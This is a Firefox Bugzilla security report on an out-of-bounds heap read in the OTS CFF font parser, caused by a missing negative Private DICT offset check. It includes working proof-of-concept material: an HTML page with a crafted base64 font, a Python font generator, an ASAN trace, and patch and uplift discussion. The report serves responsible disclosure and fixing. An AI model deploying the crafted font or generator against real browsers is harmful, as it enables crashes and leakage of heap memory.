OTS CFF Private DICT Negative Offset OOB Heap Read
Categories
(Core :: Graphics: Text, defect, P2)
Tracking
()
People
(Reporter: prodigysml555, Assigned: jfkthame)
References
(Regression)
Details
(7 keywords, Whiteboard: [client-bounty-form][adv-main149.0.2+][adv-esr140.9.1+])
Attachments
(3 files, 3 external files)
Summary
A missing negative-offset check in the OTS CFF parser allows a crafted CFF font to trigger an out-of-bounds heap read before the font buffer allocation. The bug is web-reachable via @font-face in the content process.
Root Cause
gfx/ots/src/cff.cc, case 18 (Private DICT), lines 1048-1077.
private_offset is read as int32_t (line 1056). The three validation checks only test upper bounds and the sum -- none reject negative offsets:
case 18: {
const int32_t private_offset = operands.back().first; // line 1056
const int32_t private_length = operands.back().first;
if (private_offset > static_cast<int32_t>(table.length())) // line 1062: no < 0 check
return OTS_FAILURE();
if (private_length >= static_cast<int32_t>(table.length()) || private_length < 0)
return OTS_FAILURE(); // line 1065: checks length, not offset
if (private_length + private_offset > static_cast<int32_t>(table.length())
|| private_length + private_offset < 0)
return OTS_FAILURE(); // line 1068: sum can be 0
if (!ParsePrivateDictData(table, private_offset, ...)) // line 1072: int32_t -> size_t
With private_offset=-1000, private_length=1000, table.length()=1001:
- Line 1062:
-1000 > 1001is false (passes) - Line 1065: checks length only (passes)
- Line 1068:
1000 + (-1000) = 0,0 > 1001false,0 < 0false (passes)
At line 1072, private_offset (int32_t = -1000) converts to size_t = 0xFFFFFFFFFFFFFC18. In ParsePrivateDictData (line 402):
ots::Buffer dict(table.buffer() + offset, dict_length); // offset = 0xFFFFFFFFFFFFFC18
This wraps to table.buffer() - 1000, pointing 844 bytes before the font allocation (CFF table starts at byte 156 within the font).
The existing CheckOffset() function (line 171) correctly rejects negative values with operand.first < 0, but case 18 does not use it.
Suggested Fix
Add private_offset < 0 to the check at line 1062:
if (private_offset < 0 || private_offset > static_cast<int32_t>(table.length())) {
return OTS_FAILURE();
}
Or use the existing CheckOffset() function.
Web Reachability
Every font loaded via @font-face passes through OpenTypeCFF::Parse() in the content process. The attack requires only a web page loading a crafted OTF font. No user interaction beyond visiting the page. No IPC patch needed.
ASAN Proof
GTest CFFPrivateDictOOB.NegativeOffsetOTSProcess feeds a crafted 1544-byte OTF font through OTSContext::Process(). Run with ASAN_OPTIONS="redzone=1024" to ensure the left-side redzone covers the 844-byte OOB distance:
==28370==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61e0003180b4
at pc 0x000306801108 bp 0x00016f7539c0 sp 0x00016f7539b8
READ of size 1 at 0x61e0003180b4 thread T0
#0 ParseDictDataReadOperands (cff.cc -- Buffer::ReadU8)
#1 ParsePrivateDictData (cff.cc:402)
#2 ParseDictData (cff.cc -- case 18)
#3 OpenTypeCFF::Parse
#4 Font::ParseTable
#5 ProcessGeneric
#6 ProcessTTF
#7 OTSContext::Process
#8 CFFPrivateDictOOB_NegativeOffsetOTSProcess_Test::TestBody
0x61e0003180b4 is located 844 bytes before 1544-byte region [0x61e000318400,0x61e000318a08)
SUMMARY: AddressSanitizer: heap-buffer-overflow in ParseDictDataReadOperands
Default ASAN left-side redzones (~128 bytes) are smaller than the 844-byte OOB distance. In production, the read silently returns data from adjacent heap allocations (information disclosure) or crashes if the address is unmapped.
Reproduction
GTest
ASAN_OPTIONS="redzone=1024" ./mach gtest "CFFPrivateDictOOB.*"
gfx/tests/gtest/TestCFFPrivateDictOOBRead.cpp:
#include "gtest/gtest.h"
#include <cstdint>
#include <cstring>
#include <vector>
#include "opentype-sanitiser.h"
#include "ots-memory-stream.h"
// Crafted CFF font with negative Private DICT offset (-1000).
// Generated by pocs/gen_cff_negative_offset_font.py.
// CFF Top DICT case 18 validation passes because:
// private_offset(-1000) < table.length(1001) [signed comparison]
// private_length(1000) < table.length(1001)
// private_length + private_offset = 0 >= 0
// Then ParsePrivateDictData casts int32_t offset to size_t, wrapping to
// 0xFFFFFFFFFFFFFC18, causing Buffer to point 1000 bytes before CFF data.
// clang-format off
#include "cff_neg_offset_font.inc"
// clang-format on
// OTS Process should reject the font. With ASAN redzone >= 1024,
// the OOB read triggers heap-buffer-overflow.
TEST(CFFPrivateDictOOB, NegativeOffsetOTSProcess) {
uint8_t* font = static_cast<uint8_t*>(malloc(sizeof(kCraftedFont)));
ASSERT_TRUE(font);
memcpy(font, kCraftedFont, sizeof(kCraftedFont));
std::vector<uint8_t> output(sizeof(kCraftedFont) * 2);
ots::MemoryStream stream(output.data(), output.size());
ots::OTSContext context;
bool result = context.Process(&stream, font, sizeof(kCraftedFont));
EXPECT_FALSE(result);
free(font);
}
Font data (gfx/tests/gtest/cff_neg_offset_font.inc) is a 1544-byte xxd-format C array generated by pocs/gen_cff_negative_offset_font.py.
HTML PoC
python3 -m http.server 8766 --directory pocs/
ASAN_OPTIONS="redzone=1024" ./mach run -- http://localhost:8766/poc_cff_negative_offset.html
pocs/poc_cff_negative_offset.html:
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: 'PoCFont';
src: url(data:font/otf;base64,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) format('opentype');
}
.poc-text { font-family: 'PoCFont', serif; font-size: 48px; }
</style>
</head>
<body>
<h2>CFF Private DICT Negative Offset OOB Read PoC</h2>
<p>This page loads a crafted CFF font via @font-face. The CFF table contains
a Private DICT with a negative offset (-1000) that passes OTS validation but
causes an out-of-bounds read when ParsePrivateDictData converts the negative
int32_t to size_t.</p>
<p class="poc-text">ABCDEFG  </p>
</body>
</html>
Font Generator
python3 pocs/gen_cff_negative_offset_font.py > poc.otf
pocs/gen_cff_negative_offset_font.py:
#!/usr/bin/env python3
"""
Generate a minimal valid OpenType/CFF font using fonttools, then surgically patch the CFF Top DICT Private offset to be negative. This triggers the OOB read in gfx/ots/src/cff.cc:1056-1072 -> ParsePrivateDictData line 399-402.
Usage: python3 gen_cff_negative_offset_font.py > poc_cff_negative_offset.otf
"""
import struct
import sys
from fontTools.fontBuilder import FontBuilder
from fontTools.misc.psCharStrings import T2CharString
from fontTools.ttLib import TTFont
from io import BytesIO
def create_valid_cff_font():
fb = FontBuilder(1000, isTTF=False)
fb.setupGlyphOrder([".notdef", "space"])
fb.setupCharacterMap({0x20: "space"})
cs_notdef = T2CharString()
cs_notdef.program = [500, "hmoveto", "endchar"]
cs_space = T2CharString()
cs_space.program = [500, "hmoveto", "endchar"]
fb.setupCFF(
psName="PoCFont",
fontInfo={},
charStringsDict={".notdef": cs_notdef, "space": cs_space},
privateDict={},
)
fb.setupHorizontalMetrics({".notdef": (500, 0), "space": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupNameTable({"familyName": "PoCFont", "styleName": "Regular"})
fb.setupOS2(sTypoAscender=800, sTypoDescender=-200)
fb.setupPost()
buf = BytesIO()
fb.font.save(buf)
return buf.getvalue()
def parse_cff_index(data, pos):
count = struct.unpack('>H', data[pos:pos+2])[0]
pos += 2
if count == 0:
return pos, []
off_size = data[pos]
pos += 1
offsets = []
for i in range(count + 1):
if off_size == 1:
offsets.append(data[pos])
pos += 1
elif off_size == 2:
offsets.append(struct.unpack('>H', data[pos:pos+2])[0])
pos += 2
else:
offsets.append(struct.unpack('>I', data[pos:pos+4])[0])
pos += 4
data_start = pos
items = []
for i in range(count):
start = data_start + offsets[i] - 1
end = data_start + offsets[i+1] - 1
items.append(data[start:end])
end_pos = data_start + offsets[-1] - 1
return end_pos, items
def parse_cff_dict(dict_data):
ops = []
i = 0
operand_stack = []
while i < len(dict_data):
b0 = dict_data[i]
if b0 <= 21:
if b0 == 12:
op = (12, dict_data[i+1])
op_end = i + 2
else:
op = b0
op_end = i + 1
if operand_stack:
ops_start = operand_stack[0][1]
else:
ops_start = i
ops.append({
'op': op,
'operands': [o[0] for o in operand_stack],
'start': ops_start,
'end': op_end,
})
operand_stack = []
i = op_end
elif 32 <= b0 <= 246:
operand_stack.append((b0 - 139, i))
i += 1
elif 247 <= b0 <= 250:
val = (b0 - 247) * 256 + dict_data[i+1] + 108
operand_stack.append((val, i))
i += 2
elif 251 <= b0 <= 254:
val = -(b0 - 251) * 256 - dict_data[i+1] - 108
operand_stack.append((val, i))
i += 2
elif b0 == 28:
val = struct.unpack('>h', dict_data[i+1:i+3])[0]
operand_stack.append((val, i))
i += 3
elif b0 == 29:
val = struct.unpack('>i', dict_data[i+1:i+5])[0]
operand_stack.append((val, i))
i += 5
elif b0 == 30:
start = i
i += 1
while i < len(dict_data):
nibbles = dict_data[i]
i += 1
if (nibbles & 0x0F) == 0x0F or (nibbles >> 4) == 0x0F:
break
operand_stack.append(("real", start))
else:
i += 1
return ops
def encode_cff_int(v):
v = int(v)
if -107 <= v <= 107:
return bytes([v + 139])
elif 108 <= v <= 1131:
v2 = v - 108
return bytes([((v2 >> 8) & 0xFF) + 247, v2 & 0xFF])
elif -32768 <= v <= 32767:
# Use byte-28 (shortint) for all other 16-bit values.
# NOTE: We skip the medium- encoding (bytes 251-254) because OTS has a
# decoding bug at cff.cc:314 (+ b1 instead of - b1), causing incorrect
# values for negative numbers encoded that way.
return struct.pack('>Bh', 28, v)
else:
return struct.pack('>Bi', 29, v)
def encode_cff_op(op):
if isinstance(op, tuple):
return bytes([op[0], op[1]])
return bytes([op])
def make_cff_index(items):
count = len(items)
if count == 0:
return struct.pack('>H', 0)
data = b''.join(items)
total = len(data)
if total + 1 <= 0xFF:
off_size = 1
elif total + 1 <= 0xFFFF:
off_size = 2
else:
off_size = 4
offsets = []
pos = 1
for item in items:
offsets.append(pos)
pos += len(item)
offsets.append(pos)
result = struct.pack('>HB', count, off_size)
for o in offsets:
if off_size == 1:
result += struct.pack('B', o)
elif off_size == 2:
result += struct.pack('>H', o)
else:
result += struct.pack('>I', o)
result += data
return result
ABS_OFFSET_OPS = {15, 16, 17}
ABS_OFFSET_OPS_12 = {(12, 36), (12, 37)}
def rebuild_cff_top_dict(dict_data, new_priv_len, new_priv_offset, offset_adjust):
ops = parse_cff_dict(dict_data)
result = b''
for entry in ops:
op = entry['op']
operands = entry['operands']
if op == 18:
result += encode_cff_int(new_priv_len)
result += encode_cff_int(new_priv_offset)
elif op == 15:
val = operands[0]
if val <= 2:
result += encode_cff_int(val)
else:
result += encode_cff_int(val + offset_adjust)
elif op == 16:
val = operands[0]
if val <= 1:
result += encode_cff_int(val)
else:
result += encode_cff_int(val + offset_adjust)
elif op == 17 or op in ABS_OFFSET_OPS_12:
for o in operands:
result += encode_cff_int(o + offset_adjust)
else:
for o in operands:
if isinstance(o, str) and o == "real":
result += b'\x1e\x0f'
else:
result += encode_cff_int(o)
result += encode_cff_op(op)
return result
def calc_checksum(data):
padded = data + b'\x00' * ((4 - len(data) % 4) % 4)
total = 0
for i in range(0, len(padded), 4):
total += struct.unpack('>I', padded[i:i+4])[0]
return total & 0xFFFFFFFF
def patch_font(font_data, target_offset=-50):
num_tables = struct.unpack('>H', font_data[4:6])[0]
cff_dir_offset = None
cff_file_offset = None
cff_length = None
for t in range(num_tables):
entry_off = 12 + t * 16
tag = font_data[entry_off:entry_off+4]
if tag == b'CFF ':
cff_file_offset = struct.unpack('>I', font_data[entry_off+8:entry_off+12])[0]
cff_length = struct.unpack('>I', font_data[entry_off+12:entry_off+16])[0]
cff_dir_offset = entry_off
break
cff = font_data[cff_file_offset:cff_file_offset+cff_length]
print(f"CFF table: {len(cff)} bytes at file offset {cff_file_offset}", file=sys.stderr)
hdr_size = cff[2]
pos = hdr_size
pos, name_items = parse_cff_index(cff, pos)
top_dict_start = pos
pos, dict_items = parse_cff_index(cff, pos)
top_dict_end = pos
dict_data = dict_items[0]
rest_of_cff = cff[top_dict_end:]
old_idx_size = top_dict_end - top_dict_start
new_priv_len = abs(target_offset)
for iteration in range(5):
new_dict = rebuild_cff_top_dict(dict_data, new_priv_len, target_offset, 0)
new_idx = make_cff_index([new_dict])
size_diff = len(new_idx) - old_idx_size
new_dict = rebuild_cff_top_dict(dict_data, new_priv_len, target_offset, size_diff)
new_idx = make_cff_index([new_dict])
actual_diff = len(new_idx) - old_idx_size
if actual_diff == size_diff:
break
size_diff = actual_diff
new_cff = cff[:top_dict_start] + new_idx + rest_of_cff
min_cff_len = new_priv_len + 1
if len(new_cff) < min_cff_len:
new_cff = new_cff + b'\x00' * (min_cff_len - len(new_cff))
import math
tables = []
for t in range(num_tables):
entry_off = 12 + t * 16
tag = font_data[entry_off:entry_off+4]
off = struct.unpack('>I', font_data[entry_off+8:entry_off+12])[0]
length = struct.unpack('>I', font_data[entry_off+12:entry_off+16])[0]
if tag == b'CFF ':
tables.append((tag, new_cff))
else:
tables.append((tag, font_data[off:off+length]))
header_size = 12 + num_tables * 16
sr = (2 ** int(math.log2(num_tables))) * 16
es = int(math.log2(sr // 16))
rs = num_tables * 16 - sr
result = struct.pack('>IHHHH', 0x4F54544F, num_tables, sr, es, rs)
def sort_key(item):
if item[0] == b'CFF ':
return (0, item[0])
return (1, item[0])
directory = b''
table_data = b''
offset = header_size
for tag, data in sorted(tables, key=sort_key):
cs = calc_checksum(data)
directory += struct.pack('>4sIII', tag, cs, offset, len(data))
table_data += data
pad = (4 - len(table_data) % 4) % 4
table_data += b'\x00' * pad
offset = header_size + len(table_data)
font_result = result + directory + table_data
return font_result
if __name__ == '__main__':
print("Creating valid CFF font with fonttools...", file=sys.stderr)
valid_font = create_valid_cff_font()
print(f"Valid font: {len(valid_font)} bytes", file=sys.stderr)
print("\nPatching CFF Private offset to -1000...", file=sys.stderr)
patched = patch_font(valid_font, target_offset=-1000)
print(f"Patched font: {len(patched)} bytes", file=sys.stderr)
sys.stdout.buffer.write(patched)
print("\nDone!", file=sys.stderr)
Comment 1•8 months ago
|
||
Updated•8 months ago
|
Comment 2•8 months ago
|
||
Jason, is that an UBSan log you attached? Thanks.
Comment 3•8 months ago
|
||
When I run the included HTML test case with ASan, I get a UAF while running OpenTypeCFF::Parse. I'm not sure why that's different than the other two reports here. (I couldn't figure out how to get the symbolizer working...)
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Comment 4•8 months ago
|
||
(In reply to Andrew McCreight [:mccr8] from comment #2)
Jason, is that an UBSan log you attached? Thanks.
It is. I was never able to trigger the buffer-overflow described in comment 0.
Updated•8 months ago
|
Comment 5•8 months ago
|
||
Jonathan, please take a look when you can. If you are overburdened, feel free to kick it back to graphics team or to me directly.
Comment 6•8 months ago
|
||
A Pernosco session is available here: https://pernos.co/debug/dSmePAy8ir5k4gV81iJLhA/index.html
Comment 7•8 months ago
|
||
| Assignee | ||
Comment 8•7 months ago
|
||
Updated•7 months ago
|
| Assignee | ||
Comment 9•7 months ago
|
||
I checked locally with an ASAN build that the above patch resolves the issue here. I'll also upstream it once we've taken it in Gecko.
| Assignee | ||
Comment 10•7 months ago
|
||
AFAICS esr115 is not affected by this, as it has older OTS code where these values are read into uint32_t variables, and so negative values will be immediately reinterpreted as large positive values and rejected as exceeding table.length(). (The older OTS code presumably has other flaws that have since been addressed, but this particular issue won't manifest in the same way, at least.)
| Assignee | ||
Comment 11•7 months ago
|
||
Comment on attachment 9555555 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Fairly easy to construct an out-of-bounds read, leading to likely content-process crash. Leveraging this to something more than a DoS seems probably a lot harder.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta, release, esr140; yes
- If not all supported branches, which bug introduced the flaw?: Bug 1870240
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: Transplants cleanly to beta/esr140.
- How likely is this patch to cause regressions; how much testing does it need?: Minimal risk, just adds a missing check for a negative offset.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•7 months ago
|
Comment 12•7 months ago
|
||
Comment on attachment 9555555 [details]
(secure)
sec-approval+ to land now and request uplifts
Comment 13•7 months ago
|
||
Comment 14•7 months ago
|
||
Comment 15•7 months ago
|
||
TEST-UNEXPECTED-FAIL | devtools/client/inspector/fonts/test/browser_fontinspector.js | Found 4 font families used on BODY - Got 3, expected 4
| Assignee | ||
Updated•7 months ago
|
Comment 16•7 months ago
|
||
Comment 17•7 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: OOB access during webfont processing could result in private data leakage or crash. Potentially could be used as sandbox escape vector by compromised content process to affect the parent.
- Code covered by automated testing?: no
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Simple addition of a missing check for negative offset.
- String changes made/needed?: none
- Is Android affected?: yes
| Assignee | ||
Comment 18•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D288881
Comment 19•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: OOB access during webfont processing could result in private data leakage or crash. Potentially could be used as sandbox escape vector by compromised content process to affect the parent.
- Code covered by automated testing?: no
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Simple addition of a missing check for negative offset.
- String changes made/needed?: none
- Is Android affected?: yes
| Assignee | ||
Comment 20•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D288881
Comment 21•7 months ago
|
||
| Assignee | ||
Comment 22•7 months ago
|
||
Fix applied upstream: https://github.com/khaledhosny/ots/pull/306
Updated•7 months ago
|
Updated•7 months ago
|
Comment 23•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 24•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Comment 25•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Comment 26•7 months ago
|
||
| 140.9.1 uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•5 months ago
|
Updated•3 months ago
|
Description
•